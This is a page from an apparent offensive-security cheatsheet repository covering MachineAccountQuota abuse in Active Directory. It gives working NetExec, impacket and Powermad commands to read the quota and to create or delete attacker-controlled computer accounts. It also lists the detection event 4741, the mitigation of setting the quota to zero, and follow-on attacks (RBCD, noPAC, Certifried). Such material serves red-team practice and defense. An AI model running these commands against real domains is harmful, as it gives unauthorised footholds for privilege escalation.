repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-47-machineaccountquota-maq-abuse.mdMarkdown82 lines3.2 KiBsource raw download

title: "Attack #47 β€” MachineAccountQuota (MAQ) Abuse" description: "By default, any authenticated domain user can create up to 10 computer accounts (controlled by ms-DS-MachineAccountQuota). These attacker-created machine…" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory"] tools: ["NetExec", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #47 β€” MachineAccountQuota (MAQ) Abuse.md"#

🟣 Attack #47 β€” MachineAccountQuota (MAQ) Abuse#


πŸ“– How It Works#

By default, any authenticated domain user can create up to 10 computer accounts (controlled by ms-DS-MachineAccountQuota). These attacker-created machine accounts serve as building blocks for other attacks β€” most notably RBCD (#17), noPAC (#44), and Certifried (#36).


βš™οΈ Prerequisites#

Requirement Detail
Domain user credentials Any authenticated user
MAQ > 0 Default = 10

πŸ’» Full Commands#

# ── Check MAQ value ───────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Output: MachineAccountQuota: 10

# ── Create machine account ────────────────────────────────────────────────────
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \
  -dc-ip 10.10.10.10 corp.local/low_user:'Password1'

# ── Delete machine account ────────────────────────────────────────────────────
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \
  -dc-ip 10.10.10.10 -delete corp.local/low_user:'Password1'
# ── PowerShell / Powermad ─────────────────────────────────────────────────────
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password (
  ConvertTo-SecureString 'FakePass!' -AsPlainText -Force
)

# ── Check MAQ ─────────────────────────────────────────────────────────────────
Get-ADObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota |
  Select ms-DS-MachineAccountQuota

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
4741 Security Log (DC) Computer account created by non-admin user

πŸ”— Attack Chain Context#

[MAQ Abuse] ──→ Create machine accounts for RBCD, noPAC, Certifried
         β”‚
         β”œβ”€β”€β†’ πŸ”— RBCD (#17): needs a controlled machine account
         β”œβ”€β”€β†’ πŸ”— noPAC (#44): rename machine account to DC name
         β”œβ”€β”€β†’ πŸ”— Certifried (#36): change DNS hostname to DC
         └──→ πŸ’€ Defeated by: set MAQ to 0

βœ… Attack #47 β€” MAQ Abuse complete.